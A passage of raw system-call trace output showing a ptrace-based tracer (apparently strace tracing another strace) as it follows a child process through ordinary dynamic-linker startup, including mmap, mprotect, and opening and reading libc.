	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff7fde000]) = 0
	write(2, ") = 0x7ffff7fde000\n", 19) = 19
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x2071d0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x5]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x802]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0]) = 0
	write(2, "mmap(NULL, 2126288, PROT_READ|PR"..., 72) = 72
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff77ae000]) = 0
	write(2, ") = 0x7ffff77ae000\n", 19) = 19
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff77b5000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1ff000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0]) = 0
	write(2, "mprotect(0x7ffff77b5000, 2093056"..., 43) = 43
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, ") = 0\n", 6) = 6
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff79b4000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x2000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x812]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0x6000]) = 0
	write(2, "mmap(0x7ffff79b4000, 8192, PROT_"..., 95) = 95
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff79b4000]) = 0
	write(2, ") = 0x7ffff79b4000\n", 19) = 19
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
	write(2, "close(3", 7) = 7
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, ") "..., 37) = 37
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x15]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7df720a]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7208, [0x6c2f6374652f0029]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7210, [0x686f6e2e6f732e64]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7218, [0x2d6c640070616377]) = 0
	write(2, "access(\"/etc/ld.so.nohwcap\", F_O"..., 33) = 33
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x15]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xfffffffffffffffe]) = 0
	write(2, ") = -1 ENOENT (No such file"..., 47) = 47
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7ff4fe7]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7ff4fe0, [0x2f00362e6f732e63]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7ff4fe8, [0x6362696c2f62696c]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7ff4ff0, [0x696c00362e6f732e]) = 0
	write(2, "open(\"/lib/libc.so.6\", O_RDONLY", 31) = 31
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x2]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x3]) = 0
	write(2, ") = 3\n", 13) = 13
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffdaa8]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x340]) = 0
	write(2, "read(3, ", 8) = 8
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x340]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffdaa8, [0x10102464c457f]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffdab0, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffdab8, [0x1003e0003]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffdac0, [0x1eea0]) = 0
	write(2, "\"\\177ELF\\2\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0"..., 84) = 84
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffd940]) = 0
	write(2, "fstat(3, ", 9) = 9
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x5]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd940, [0x801]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd948, [0x20b41]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd950, [0x1]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd958, [0x81ed]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd960, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd968, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd970, [0x17fd88]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd978, [0x1000]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd980, [0xc00]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd988, [0x4d81a77b]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd990, [0x494e8e1]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd998, [0x4d39feaf]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9a0, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9a8, [0x4d8055e9]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9b0, [0xecc2d69]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9b8, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9c0, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd9c8, [0]) = 0
	write(2, "{st_mode=S_IFREG|0755, st_size=1"..., 50) = 50
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x382828]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x5]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x802]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0]) = 0
	write(2, "mmap(NULL, 3680296, PROT_READ|PR"..., 72) = 72
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff742b000]) = 0
	write(2, ") = 0x7ffff742b000\n", 19) = 19
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff75a5000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1ff000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0]) = 0
	write(2, "mprotect(0x7ffff75a5000, 2093056"..., 43) = 43
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, ") = 0\n", 6) = 6
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff77a4000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x5000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x812]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0x179000]) = 0
	write(2, "mmap(0x7ffff77a4000, 20480, PROT"..., 98) = 98
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff77a4000]) = 0
	write(2, ") = 0x7ffff77a4000\n", 19) = 19
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff77a9000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x4828]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x32]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0xffffffff]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0]) = 0
	write(2, "mmap(0x7ffff77a9000, 18472, PROT"..., 92) = 92
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff77a9000]) = 0
	write(2, ") = 0x7ffff77a9000\n", 19) = 19
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
	write(2, "close(3", 7) = 7
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, ") "..., 37) = 37
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x15]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7df720a]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7208, [0x6c2f6374652f0029]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7210, [0x686f6e2e6f732e64]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7218, [0x2d6c640070616377]) = 0
	write(2, "access(\"/etc/ld.so.nohwcap\", F_O"..., 33) = 33
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x15]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xfffffffffffffffe]) = 0
	write(2, ") = -1 ENOENT (No such file"..., 47) = 47
